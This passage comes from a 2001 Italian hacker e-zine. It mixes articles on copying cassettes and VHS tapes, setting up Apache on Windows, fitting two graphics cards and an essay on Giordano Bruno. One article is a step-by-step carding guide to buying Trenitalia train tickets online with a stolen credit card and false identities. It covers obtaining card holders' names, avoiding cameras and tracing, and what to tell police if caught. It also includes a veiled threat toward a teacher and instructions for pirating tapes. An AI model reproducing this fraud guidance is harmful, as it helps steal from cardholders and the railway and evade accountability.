Non tutti gli stereo ce l'hanno, io per i miei esperimenti ho usato uno
stereo componibile. Componibile ? Sì, formato cioè da più componenti.
C'è il lettore Cd, musicassette, la radio, ecc.. Ognuno si sceglie i componenti
che gli interessano (ad esempio ci sarebbe anche il lettore di dischi) e se li
collega tra loro con relativi cavi.
In più c'è un componente a cui si collegano tutti i componenti con dei cavi a prese
del genere:

IN CD | IN TUNER | TAPE |
| | REC OUT | PLAY IN |
_ _ | _ _ | _ _ | _ _ |
|_| |_| | |_| |_| | |_| |_| | |_| |_| |

Questo componente è il controller, che controlla il volume dello stereo e amministra
i vari componenti, passando alle casse quello che vogliamo noi. Se vogliamo ad esempio
sentire un Cd il controller prende i dati che vengono dal cd (input) e li spedisce
alle casse e nel caso di registrazione di musicassette seleziona l'origine dell'audio.
Guarda caso questi cavi hanno prese uguali a "
presa 2".

IN & OUT indicano se i dati sono in entrata o in uscita. Al controller il cd passa l'audio. E' una presa di input.
Il controller spedisce alla cassetta la musica da registrare. E' una linea di output.

Logicamente non c'è nessuna presa PC IN.. Sarebbe troppo comodo !! E allora che si fa ?
Semplice, spacciamo il computer per un lettore cd.
Prendiamo il cavo di cui al punto 3 del materiale occorrente (che paroloni !!) e
colleghiamo come segue:
Jack piccolo --> LINEA DI OUTPUT DEL PC (c'è scritto !!)
RCA1 & RCA2 --> IN CD
Cosa abbiamo fatto ? Semplice. Tutto l'audio che esce dal pc viene spacciato come
audio che viene dal cd.
Facciamo partire la registrazione della cassetta, come sorgente indichiamo il cd (per
sapere come registrare una cassetta e come selezionare la sorgente vedete il manuale
dello stereo !!).
Adesso tutto quello che dobbiamo fare è far partire i nostri file audio del computer
e contemporaneamente cliccare il tasto rec del lettore musicassette.
Non venite a dirmi "
ma sul mio lettore di cassette non c'è da cliccare il tasto rec".

Aspettate di aver finito di registrare e.. Eccovi qui la cassetta con i vostri Mp3 preferiti.
Senza aver usato costose attrezzature. Anzi, senza aver usato niente che non c'è
già in casa.

Il bello di questo giochetto è che non dovete limitarvi agli Mp3. Qualsiasi tipo di
file audio và bene, anche lo strasicuro formato della M$ antimasterizzazione !!
Infatti dovete solo far partire una canzone, non dovete cliccare tasti particolari.
E nessun formato si rifiuta di partire.

=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!

Ora pongo un quesito per le vostre giovani menti. Si può fare il contrario ? Cioè,
possiamo registrare delle canzoni sul pc da una musicassetta ? CERTO !!
Basta cambiare un paio di cosine, poca roba cmq !!

Stavolta però faremo a meno del controller.
Girate lo stereo e guardate solo il componente delle musicassette.
Sicuramente ha due prese:

| TAPE |
| REC IN | PLAY OUT|
| _ _ | _ _ |
| |_| |_| | |_| |_| |

Qui le parole IN & OUT solo al contrario del controller, perchè ? Perchè l'audio
(Play) è spedito al controller (quindi output) e l'audio da registrare è preso
dal controller (linea di input).

COLLEGAMENTI STEREO / PC

Jack Piccolo --> LINEA DI INPUT DEL PC (c'è scritto !!)
RCA1 & RCA2 --> PLAY OUT DEL LETTORE MC

Cosa abbiamo fatto ? Semplice. Tutto l'audio che esce dal lettore MC viene ricevuto dal pc (come succede con un microfono).

Adesso facciamo partire un registratore di suoni (x Win va bene C:\WINDOWS\SNDREC32.EXE) e clicchiamo su REC.
Contemporaneamente facciamo partire la musicassetta cliccando Play.
Troppo semplice !! Adesso quello che ricevete verrà salvato in formato *.wav che potete tranquillamente convertire in mp3 o masterizzare su CD.

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\
//////////// VHS \\\\\\\\\\\\
*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

VHS = Video Home System.
Tanto per chiarirci le videocassette. Forse non ci crederete ma doppiarle è semplice.
L'ho scoperto praticamente per caso. Si parla tanto di caro-cd, ma anche le VHS non
scherzano !! Forse è difficile crearsi un mercato di videocassette ( la richiesta è poca,
a causa delle pay per view e dei cinema ), ma sapere qualcosa in più degli altri
non guasta.
Ed è utile in caso di:
1.- Cuginetti / sorelline / fratellini piccoli per casa da sbattere davanti a una
cassetta di cartoni animati
2.- Cassette da regalare ad amici / amiche [io ho fatto 10 copie del Titanic]
3.- Fare regali a Tatiana (CHI E' TATIANA ? TATIANA E' L'AMICA MIA, QUELLA GRASSA..)
4.- Doppiarsi cassette porno prestateci da amici. :-)))))

MATERIALE OCCORRENTE:

1.- 2 (due) videoregistratori VHS
2.- 1 (uno) cavo con 2 prese scart
3.- 1 (una) cassetta sorgente (l'originale insomma)
4.- 1 (una) cassetta vergine di durata superiore o pari a quella dell'originale

Non avete la minima idea di cosa sia una presa scart ? E allora via con un bel
disegnino (fronte e fianco, tipo foto segnalatica)

FRONTE:
_____________________
/ | | | | | | | | | | | (10 lamelle)
/ | | | | | | | | | | | | (11 lamelle)
|_______________________|

FIANCO:

_____
__| \
| | \
| | \
| | \
| | \
| | \
|__| \
|________ \
\____\

Il cavo logicamente ne avrà due (una a un capo del cavo, l'altra all'altro capo del cavo).
Dietro al registratore VHS c'è un'entrata per la presa scart (data la forma particolare
non correte rischi di confederla con altre prese !!)

Collegate una prese scart a uno dei videoregistratori e collegata l'altra presa all'altro
registratore. Fate partire la registrazione su uno e sull'altro cliccate play.
Fatto. Guardatevi la cassetta (se è porno, guardatevela con la vostra ragazza e quando c'è
qualcosa che vi piace dietele:"
Xkè non lo fai anche tu ?".. E' il metodo migliore per
essere mollati [o per fare una scopata che ricorderete a vita !!!!]).

=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!

Screener_it

Caxxo, quasi dimenticavo il disclaimer..

!=!=!=!=!=!=!=!=!=!=!=!=!=!DISCLAIMER!=!=!=!=!=!=!=!=!=!=!=!=!=!
Io, Screener_it, nel pieno delle mie capacità, ho scritto questo
testo xkè questo sia distribuito liberamente ma vieto qualsiasi
modifica al testo (soprattutto al nome dell'autore).
Quanto scritto nel testo è considerato illegale dalle norme
dello Stato Italiano.
Pienamente consapevole di questo l'ho cmq scritto xkè le conoscenze
girino liberamente per la rete. E altri ragazzi possano sapere
e alzare la testa contro chi nasconde queste informazioni.
Alzati popolo !! Combatti contro chi ti vieta di fare copie ma ti
vende cd vergini e masterizzatori !!
Alzati popolo !! Combatti contro il "
Grande Fratello" che sa tutto
di noi e continua a negarlo.
Alzati popolo !! E' giunta l'ora !!
!=!=!=!=!=!=!=!=!=!=!=!=!=!DISCLAIMER!=!=!=!=!=!=!=!=!=!=!=!=!=!

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 |
| 0GGi Mi M0NT0 UN WEB SERVER SU WiND0WS .............. [Screener_it] 0x19/0x25 |
+----------------

  
---------------------------------------------------------------+

~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-
OGGI MI MONTO UN WEB SERVER su WINDOWS
~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-

Autore: Screener_it
email: screener_it@freemail.it
URL: http://go.to/tankcommandos
DATA: 26/04/01

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Non so proprio che fare quindi scrivo quest'articoletto.. Sperando che sia di vostro grandimento..

Allora.. Cominciamo dall'inizio (e da dove cominciavamo, altrimenti ? Dalla fine ?). Cos'è un web server ?
Semplice. Un web server è un demone che se ne sta in ascolto in genere sulla porta 80 e che regola le connessioni che riceve..
Noto più comunemente come demone HTTPD.
Chiaro ? No ? Insomma, quando voi vi collegate a un sito come fate ? Aprite il vostro browser [Netscape, Opera, Explorer, ecc..] e scrivete l'URL della pagina che volete visitare..
Il DNS del vostro provider (non importa se non sapete cos'è..) trasforma l'URL in indirizzo Ip (es microsoft.com = 254.254.254.254) e indirizza la vostra richiesta alla macchina che risponde a quell'indirizzo ip che provvederà a rispondervi con la pagina che avete richiesto..
Ma a rispondervi non è la macchina, bensì un programma [demone HTTPD] predisposto a ciò..

Direi che più chiaro di così è difficile !!

Allora.. Avete capito cos'è un web server.. Resta il problema di come montarlo..

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Oggi come oggi, con il livello raggiunto da molti pacchetti, montarsi un web server è relativamente semplice e richiede conoscenze che si possono acquisire in 5 minuti netti..
Naturalmente una cosa è montare un web server, un'altra cosa è amministrarlo, aggiornarlo, ecc..

Attualmente esistono decine di demoni HTTPD.. I più famosi ed usati sono:

1.- Apache web server
2.- Microsoft IIS
3.- Netscape Enterprise

Io vi parlerò di Apache Web Server, per un paio di motivi non da poco:
a.-) E' gratuito
b.-) E' multipiattaforma [Linux, Win, MAC]
c.-) E' Open Source
d.-) E' il più diffuso [almeno a sentire punto-informatico.it]

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Apache è un web server nato con Linux e ne condivide con lui le caratteristiche principali, cioè la gratuità e l'open source. Probabilmente queste caratteristiche, che lo rendono personalizzabile da ogni admin ne fanno il demone più usato.

1.- Dove scaricarlo ?

Semplice. Andate su http://httpd.apache.org/dist/httpd/binaries/win32/ e troverete dei file con nomi particolari che ne indicano il tipo.
Un esempio è : apache_1.3.19-win32-no_src-r2.ms
La prima parola è apache.. Non credo che ci sia molto da dire..
Poi c'è la versione, in questo caso 1.3.19
Poi il tipo di S.o. per cui è fatto quel file.. Win32 in questo caso..
Poi c'è la sigla che indica se questo file contiene o meno i sorgenti.. no_src indica che non sono i sorgenti ma il server già compilato.. Se c'è src il file contiene i sorgenti.
msi non è il Movimento Sociale Italiano, non preoccupatevi !! E' il MSI Installer Package.. Ne sapete tanto che prima, vero ? Beh, in parole povere è un sistema inventato dalla MS per ridurre il peso dei file di setup.. Funziona ? Mah..

2.- Multipiattaforma però..

Però c'è un però.. Infatti il programma è stato testato e creato per lavorare su:
a.-) Windows NT
b.-) Windows 2000

Funziona anche su Win 95 & 98, però stando a quanto dichiara Apache.org chi lo installa su Win 9* lo fà a proprio rischio e pericolo.
Io l'ho provato e vi assicuro che funziona egregiamente anche su Win 9*, ma bisogna scaricare gli aggiornamenti che trovate sempre su http://httpd.apache.org/dist/httpd/binaries/win32/ in fondo alla pagina in base al vostro S.o.

IMPORTANTE: se non scaricate il MSI Binary Distribution Packages non potrete nemmeno installarlo Apache, chiaro ? Installate prima questo aggiornamento e poi potrete installare Apache.

3.- Adesso comincia il bello..

Ok, abbiamo scaricato il file
apache_1.3.19-win32-no_src-r2.ms
e abbiamo aggiornato il nostro windows (se necessario).. Adesso comincia ad installare il tutto.. Facciamo dopo click sul file d'installazione nominata qui sopra e cominciamo con l'installazione.. Le solite storielle.. Clicchiamo Next..
Come al solito inserite il vostro nome e quello della vostra compagnia..
Prima schermata importante:

Server name:
Domain name:
administrative email account:

Dipende da che uso volete farne.. Se volete fare un server HTTP sul vostro pc, quindi non avete dominio ecc.. impostate le prime 2 a 127.0.0.1 (che è l'ip che indica il localhost) e come email mettete quella che preferite.
Se invece dovete installare Apache su un vero server compilate con i dati in vostro possesso..

Come directory d'installazione potete lasciare c:\programmi\Apache Group\Apache\ oppure potete cambiarla come più vi aggrada.. In questo txt io userò l'impostazione di default.

Ok, avete installato il tutto, ora riavviate..

4.- E adesso ?

Adesso abbiamo installato il tutto e comincia il divertimento..
Prima di tutto dobbiamo controllare che tutto sia andato a posto.. Selezioniamo:
Start/Programmi/Apache httpd server/Start Apache in Console
Si apre una finestra di MS-DOS con la scritta "Apache/1.3.19 (Win32) running..". Non chiudetela. Ora aprite il vostro browser preferito e come URL scrivete 127.0.0.1 [che come spiegato prima è l'ip che indica localhost, cioè il vostro computer..].
Se vi si apre una pagina con la scritta "Funziona! Il Server Web Apache e' stato installato su questo sito Web.." ecc.. avete montato il vostro primo web server !! Complimenti..

Però non siete neanche che a metà dell'opera. L'avete installato, sì.. Ma adesso dovete configurarlo. Chiudete il Prompt di Dos e anche il browser. Ora dovete creare le vostre pagine, configurare le porte, capire come funzionano i log..

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Con la configurazione di default le impostazione di Apache sono queste:

a.-) le pagine si trovano presso C:\Programmi\Apache Group\Apache\htdocs
b.-) i documenti (in inglese) che spiegano il tutto si trovano presso C:\Programmi\Apache Group\Apache\htdocs\manual
c.-) la porta è la 80
d.-) i file log sono contenuti in C:\Programmi\Apache Group\Apache\logs e si dividono in:
1.-) error.log: contiene gli errori rilevati dal demone
2.-) access.log: contiene ora, ip e materiale prelevato dal web server

Ogni cosa è configurabile secondo la propria necessità. Il file principale di configurazione è httpd.conf che si trova nella cartella C:\Programmi\Apache Group\Apache\conf
Nella suddetta cartella troverete numerosi altri file e vedrete che tutti avranno dei doppioni tipo httpd.default.conf. Questi "doppioni" sono dei file di default creati appositamente per gli utenti meno esperti che se distruggono o modificano troppo gli originali *.conf posso cancellarli e usare i *.default.conf che contengono le configurazioni di default della macchina.

Ognuno di questi file può essere aperto con un editor qualunque di testo (meglio notepad.exe) e modificati a piacimento. Ogni voce è commentata con numerose righe di spiegazione (tutto in inglese, logico).
I commenti sono preceduti da #.
Esempio:

#Questo è un commento
Questa è una riga di comando

Potete modificare i file di configurazione a vostro piacimento, ma dato che le possibili modifiche e le voci sono davvero troppe vi rimando ai commenti dei singoli file, che [anche se in inglese] sono davvero esaurienti.

Qui mi atterrò alla configurazione standard. Una volta che avrete capito le basi di Apache ne potrete anche modificare l'impostazione. Per adesso attenetevi all standard.

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Primo problema.. Caricare il sito in modo che Apache faccia vedere le nostre pagine invece di "Funziona! Il Server Web Apache e' stato installato su questo sito Web..".
Aprite C:\Programmi\Apache Group\Apache\htdocs e cancellate pure tutto il contenuto TRANNE la cartella manual. Infatti le pagine che vedete sono solo pagine di benvenuto di Apache in diverse lingue (inglese, francese, spagnolo, ecc..).
Nella cartella mettete le vostre pagine web/immagini/zip/mp3 e quant'altro vogliate.. Ricordate che la prima pagina deve chiamarsi index.html.. Mi raccomando !!
Bene..

E adesso ? Fate partire Apache ( Start/Programmi/Apache httpd server/Start Apache in Console ) e aprite di nuovo il browser. Nell'URL scrivete 127.0.0.1 e.. Se arrivate alle pagine che avete caricato nella cartella C:\Programmi\Apache Group\Apache\htdocs allora è andato tutto bene..
Altrimenti c'è qualcosa di sbagliato.. Controllate bene che:

1.- La prima pagina si chiami index.html
2.- Avete cancellato le pagine che c'erano prima come vi avevo detto ?
3.- Se appare un messaggio con un numero di errore segnatevi il tutto e comunicatelo ad Apache insieme alla vostra configurazione.. Probabilmente avete trovato un bug..

Se avete già tutte le pagine in una cartella e non avete voglia di spostarle nella cartella C:\Programmi\Apache Group\Apache\htdocs allora fate così:
1.- Aprite httpd.conf con notepad
2.- Cercate le stringhe C:\Programmi\Apache Group\Apache\htdocs
3.- Modificatele con la cartella dove si trova il sito sul vostro PC. (es. c:\sito)

Ricordate che tutte le sottocartelle saranno accessibili. Esempio: se indicate c:\sito sarà accessibile (anche se solo in lettura) anche c:\sito\password se esiste o c:\sito\porno, ecc...

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Ok, adesso le pagine sono visibili.. Vediamo i log.. Essi sono contenuti in C:\Programmi\Apache Group\Apache\logs di default.
Potete leggerli con un qualsiasi editor (sempre consigliato notepad.exe).
Bisogna saperli leggere, ma è molto semplice !!
Ecco una riga di access.conf

127.0.0.1 - - [27/Apr/2001:16:14:47 +0200] "GET /apache_pb.gif HTTP/1.1" 304 -

127.0.0.1 ---> l'ip che vi ha fatto visita..
[27/Apr/2001:16:14:47 +0200] ----> la data
GET /apache_pb.gif HTTP/1.1 ---> il file che ha visualizzato
304 ---> codice numerico che indica l'avvenuta operazione..

Qui invece vediamo una riga che indica un errore..

127.0.0.1 - - [27/Apr/2001:16:16:11 +0200] "GET /faq.html HTTP/1.1" 404 280

127.0.0.1 ---> l'ip che vi ha fatto visita..
[27/Apr/2001:16:16:11 +0200] ----> la data
GET /faq.html HTTP/1.1 ---> il file che ha visualizzato
404 ---> codice numerico che "File Not Found"

Nel file error.log ritroverete tutti gli errori con una spiegazione più completa..

[Fri Apr 27 16:16:11 2001] [error] [client 127.0.0.1] File does not exist: c:/programmi/apache group/apache/htdocs/faq.html

E' lo stesso evento di prima, vi dice che ha richiesto un file che non esisteva..

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Ok, adesso avete capito come si montano le pagine, ecc.. Resta il problema: come faccio gli altri ad accedere alle pagine che abbiamo sul computer ? Allora, prima di collegarvi a internet fate partire Start/Programmi/Apache httpd server/Start Apache in Console.
Non chiudetelo e collegatevi a internet. Chiunque si collegherà al vostro ip tramite un browser qualsiasi vedrà le vostre pagine.
Un consiglio: dite agli amici mentre siete in IRC "Fammi un /whois e scrivi il mio ip nella barra degli indirizzi di Internet Explorer (o Netscape o quello che è..)"..
Vedrete che figurone :))
Mi raccomando: avete fatto tutto da soli, non conoscete nessun Screener_it e questo txt non l'avete mai neanche visto.. Anzi, questo txt non esiste proprio..

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Un paio di ringraziamenti:
Bakunin [eheh, visto che il server me lo sono montanto anch'io ?]
FeltonSpray [ma quanti caxxo di articoli mi mandi ??? Basta :)) ]
tutti quelli del Tank Commandos [è grazie a voi che un piccolo progetto è diventato un grande sito..]
Kewl' [pure tu in quanto ad articoli non scherzi..]
Green Dragon [Inter - Herta & Inter - Viola sì.. Ma il derby no.. Codardo :)) ]
La Me Laùra [La conoset po' ti la me laùra ? 'Peta che te la ciamo.. Laùraaa !!! Oooooooooooh !!]
Tutti quei pazzi che pubblicano i miei articoli
Tutti quelli che mi salutano in IRC "Ma tu 6 quello che ha scritto.. Caxxo, nn mi ricordo + che hai scritto !" :))

Un bel fanculo a quel GRANDE hacker che ha RUBATO materiale dal sito di noi Tank e l'ha usato e modificato a suo piacimento.. Non serve il nome, chi ha la coscienza sporca ha capito !!

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 |
| TRENiTALiA.C0m ? MA FiGURATi SE LE FS ............... [Screener_it] 0x1A/0x25 |
+-------------------------------------------------------------------------------+

~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-
Trenitalia.com ? Ma figurati se le FS..
~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-

Autore: Screener_it
email: screener_it@freemail.it
URL: http://go.to/tankcommandos
DATA: 13/05/01

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Com'è che fà la pubblicità ? Vu Vu Vu Trenitalia punto com...
Caxxo, le pubblicità le fanno bene !! Non spendono niente (prendono qualche povero pirla che ha la disgrazia di viaggiare sul treno oppure qualche vecchietto che stà aspettando in stazione..) e valgono molto più di certe merdate che ci sono in giro !!
Per fortuna oggi ci sono le elezioni !! Non ce la facevo più !! Il faccione di Berlusconi qui, Rutelli che continua a dire "Stiamo rimontando", la Bonino che non mangia, i rifondaroli si alleano con chiunque pur di battere Berlusconi, la Fiamma si allea con Berlusconi xkè è stufa del governo comunista, convegni di piazza con 100.000 persone dichiarate e 20 reali, sondaggi ogni 3 secondi.. A questo punto uno dice:"Caxxo, m'hanno sondaggiato 300 volte.. E devo pure votare ?"

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Vabbè, passiamo ad altro và !! Stavolta vediamo come viaggiare in treno a sbafo.. I modi sono molteplici.
Il più classico: si viaggia chiusi nel cesso (ok se è un viaggio di 15 minuti, ma se dovete andare da Milano a Roma ??? "Scusi signor controllore, ho un attacco di diarrea fulminante che mi terrà occupato per 5 ore !!" :))) ).
Il più scemo: si sale sul treno facendo finta di niente pregando che non passi il controllore (io l'ho fatto e per 3 mesi tutto bene.. Andavo su e giù.. Poi m'hanno beccato: eravamo in 6, 20.000 L. a testa [è stato gentile, ha fatto finta che eravamo una persona sola.. Xò non potrebbe andarvi bene come a me !!].
Il più bastardo: Vu Vu Vu Trenitalia punto com

Mo' questa canzoncina comincia a piacermi :)))
Ecco come fare. Come ben sapete (se non lo sapete vuol dire che o vivete su marte o non avete la tv) le FS hanno aperto il loro sito trenitalia.com.. Prima c'era fs-online.it o qualcosa del genere.. Era uguale, solo che quello non lo hanno pubblicizzato !! Hanno cambiato URL e.. Magia !! C'è ovunque.

Comunque su trenitalia.com troverete molte info interessanti.. Troverete gli orari dei treni di tutta Italia, i tempi di percorrenza, il costo, ecc.. Io lo uso per calcolare quanto spendo ad andare in trasferta a vedermi la mia squadra di calcio. Tutto bello, ABBASTANZA coordinato e graficamente semplice.
Su questo sito poi hanno creato una cosa bella interessante: acquisto dei biglietti online.. Siamo entrati nell'era di internet, no ? E allora ? Vendiamo tutto online !!

Purtroppo il sistema di controllo di acquisto è per il momento MOLTO MA MOLTO rudimentale.. Ho visto siti porno attrezzati meglio !!
Serve davvero poca roba x questo giochino..
Una carta di credito
Indirizzo email
Identità (nome, cognome, indirizzo.. Tutto rigorosamente falso !!)
Una connessione sicura

Non serve che ve lo spieghi, comunque lo ripeti per i novizi del carding: LA CONNESSIONE DEVE ESSERE SICURA, cioè:
1.- Abbonamento registrato con dati falsi
2.- Registrato con provider grossi (Tin.it, Libero.it, NON il provider con 10 persone abbonate del vostro paese)
3.- Uso di proxy
Se non sapete niente di tutto questo.. Leggersi Guida Italiana al Carding 2.1 (sito Tank Commandos / sezione Guide).

Io ho cominciato a usare i computer dei negozi per questi giochini.. Infatti c'è un centro commerciale nel mio paese con un bel negozietto "Euronics" e pc collegati a internet con libero accesso.
Così sono sicuro e non serve tanto, dato che difficilmente le FS faranno un indagine e interrogheranno i negozianti riguardo a chi c'era a quel dato pc in quel dato giorno alla data ora.. Unica cosa: evitate le ore TROPPO affollate dove tutti i bambini si fermano "MAMMMMMMMA !! Guarda, c'è Internet !! Posso usarlo ?" "Certo, aspetta che finisca quel bambino" "Signora, scusi ma ho 17 anni, non sono mica un bimbo !!" "Beh, visto che sei grande potresti lasciarlo navigare un minutino" "Ma veramente io.."
E tutti a guardare la scena.. No, aspettare i momenti in cui non c'è ressa (evitate però i momenti deserti..).

Prima cosa: procuratevi una cc. Se ce la fate ricopiatevi pure nome & cognome del propietario (basta dare un'occhiata di due secondi e continuare a ripetersi il nome fino a quando non trovate carta e penna per scriverlo.
Seconda fase: andate su un qualsiasi sito che offre webmail gratuite (es. Yahoo, Hotmail, Virgilio, ecc..) e registratevi con i dati che avete oppure usate dati falsi.
Terzo: andate su www.trenitalia.com e vi registrare anche lì con la mail che vi siete appena creati. Aspettate che arrivi la conferma da parte delle FS nella vostra mail..

"Caro tuonome,

benvenuto in trenitalia.com..."


Ok.. Mo voglio acquistare !! Scegliete il percorso.. Verona - Milano A/R.. Costo ? 40.000 L. ? Ok !! Diamo i nosti dati di login e poi il numero di cc..
La conferma dell'avvenuto acquisto vi arriverà via mail.

"Caro tuonome,

l'acquisto è andato a buon fine. Il codice per ritirare il biglietto è XXXXXXXX..."


Grazie FS ! Adesso recatevi nella più vicina stazione dei treni. Nelle più grandi (caxxo, non andate nelle stazioni di paesi minuscoli !!) troverete degli sportelli automatici con varie info.. Orari, ecc..
Ultimamente hanno aggiunto anche il tasto "Acquisti via internet".. Cliccate quello. Vi chiedono il codice per ritirare il biglietto.. Dategli quello che avete ricevuto via mail.
Nome & cognome: dategli quelli con cui vi siete registrati presso trenitalia.com..
Aspettate un attimo.. La macchinetta sputa fuori un biglietto del treno.. Verona - Milano A/R.
INCREDIBILE !! Saliamo sul treno, mostriamo al controllore il nostro biglietto orgogliosi del nostro acquisto e arriviamo a Milano.. Chi ha pagato ? Io no !!

ATTENZIONE !!!
Che credevate ? Che era così semplice ? Manca per il cazzo !! Le FS infatti si sono accorte del pericolo e sono corse ai ripari. Quindi ? Quindi prendiamo delle precauzioni (è come se scopate senza guldone.. Vi può andare bene, ma se salta fuori un figlio ?):
1.- Uso di buoni proxy o storia del centro commerciale
2.- Andate sempre in giro con cappellini/occhiali da sole [telecamere le hanno sia le FS che i centri commerciali]
3.- Non andate mai in giro con carta d'identità o documenti personali
4.- Se vi beccano e non hanno dubbi: COLLABORATE. Non fate i duri, non serve a niente. Dite che avete sparato dati a caso (non dite che avete cardato qualcuno) e che vi è andata bene, che vi dispiace. NON TIRATE FUORI LE MENATE "VOGLIO L'AVVOCATO", "LEI NON PUO' TOCCARMI SENZA POLIZIA".. Son coglionate che vi posso costare caro !! Può darsi che ne uscite puliti (la speranza è l'ultima a morire..) se fate i bravi ragazzi che hanno ceduto per una volta..

Direi che può bastare.. Adesso basta che altrimenti perdo il treno..
Cmq io non so niente !! X me Mp3 vuol dire: "Manco Per il.. 3" <-- Terzo film della fortunata serie :))

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Dediche.. Quando fà copia e incolla, io no !! Vediamo cosa mi sento oggi..
Dedicato a quei bastardi che venerdì ne hanno presi 6 !! Merde, meritavate molto di più di quello che vi abbiamo tirato
Dedicato a quel grande che ha fatto invasione di campo.. 6 uno con le palle !!
Dedicato a tutti i membri della TCC
Dedicato a MorningSt, lux2k' e a tutti quelli che frequentano quel chan..
Dedicato alla mia prof di mate.. Vuole bocciarmi ? Prego ! Ma poi non venga a piangere da me.. So dov'è la sua macchina, so dove abita..
Dedicato.. A chi non si arrende, a chi ha rifiutato compromessi in nome di una causa, a chi sà che la sua è una battaglia persa perchè è una battaglia per il futuro.. A chi lo sa e combatte comunque !!

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 |
| 2 SCHEDE ViDE0 SUL PC .................................... [Bartex] 0x1B/0x25 |
+-------------------------------------------------------------------------------+

Come montare 2 schede video su di un pc

0CC0RRENTE
==========
una scheda video pci e, naturalmente, un'altro video da
montare alla seconda scheda video

SiTUAZi0NE
==========
Avete il vostro bel athlon (amd rulez) 800 mhz, 128 mb di
ram, cd rom 40 x, masterizzatore, sound blaster, e una bella scheda
video agp 2x accellerata. Vi sentite soddisfatti, ci giocate a
superbyke, vi vedete i filmini porno ecc..
Si arriva ad un certo puntosentite l'esigenza di fare grafica, di
chattate e contemporaneamente navigare senza saltare da una finestra
all' alra, o vedere un film mentre si lavora nell'altro video. Qui
entra in gioco questo articolo!!!
Allora prendete la scheda video pci dal vostro bel pentium 133 mhz
abbandonato in qualche scaffale (scaricate l'energia statica toccando
un'oggetto di metallo, potreste danneggiare la scheda), aprite il
case del vostro bel nuovo pc e montate la scheda pci in uno slot
libero, accendete il pc facendo avviare windows e la scheda vellà
riconosciuta. Dopo l'intallazione dei driver riavviate il pc, entrate
nel bios e nella configurazione delle periferiche (pci devices o na
cosa del genere) fate in modo che al boot il pc cerchi prima la
scheda pci. A questo punto salvate le impostazioni del bios, avviate
windows e, se tutto è andato bene, dovreste vedere una scritta sul
monitor collegato alla scheda agp che dice che la periferica è stata
montata correttamente. Ora avrete la scheda video pci con relativo
monitor che sono i principali, mentre la scheda agp è la secondaria.
Ora nella configurazione dello schermo appariranno 2 monitor
disegnati, dei quali possiamo scegliere la risoluzione (anche
diversa) la posizione e se tenere attivato o meno quello secondario.

N0TE
====
Se la vostra scheda pci è una cacca, e vi piace giocare molto,
quando vorrete farlo, dovrete avere l'accortezza di avviare il pc con
la scheda agp come primaria (vedi impostazioni del bios). Non sono
certo di quello che dico ma penzo che windows faccia i capricci per
attivare i 2 monitor con la scheda agp come preimaria, dicendo che la
scheda non ha i driver adatti per funzionare con il dual head.
Un'altra cosa da non trascurare è che il pc rallenterà leggermente,
siccome si troverà a gestire ben 2 schede video e 2 monitor.


THE END
=======
Un saluto particolare a tutti gli smanettoni hardware che
impazziscono come me per fare queste str***ate.


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 |
| Gi0RDAN0 BRUN0 ? ESSENZA DEL R0CK'N'R0LL ........... [Stefano Bisi] 0x1C/0x25 |
+-------------------------------------------------------------------------------+

Dopo 400 anni, ancora tanti nodi al pettine. Come si dice a volte,
il Diavolo fa le pentole ma non i coperchi. La pentola in cui ribolle
l'anima del Nolano è un pentolone che brucia, emana vapori infernali.
(What about Vaticano?)
Giordano l'eretico,Giordano Bruno essenza del rock'n'roll.
Da frate, meglio ancora da predicatore-pellegrino. Mistico-Nomade,
fondamentalmente.
Trasgressivo come una vera rockstar della nostra epoca.
La voglia assoluta di proseguire per il proprio sentiero, pur
impervio e ingratoche sia.
A volte già tracciato,senza dubbio. Incamminarsi prendendo sempre
più coraggio (FEDE??)
su questa strada. Se ne possono aprire altre, piu labirintiche o
ammalianti. Ma la strada
della verità, al fondo, rimane una sola.
E Giordano Bruno questa strada ha avuto il dannato coraggio di
percorrerla sino in fondo.
Senza esitazioni, senza ripensamenti, scegliendo sempre in maniera
radicale, rinunciando alle comodità e agli agi.
Una questione di Fede, assolutamente. La sicurezza, già acquisita,
che le forze dell'Universo sono con te, e che la verità, aldilà del
nostro corpo mortale, rimane come insegnamento, testimonianza,
limpido esempio.
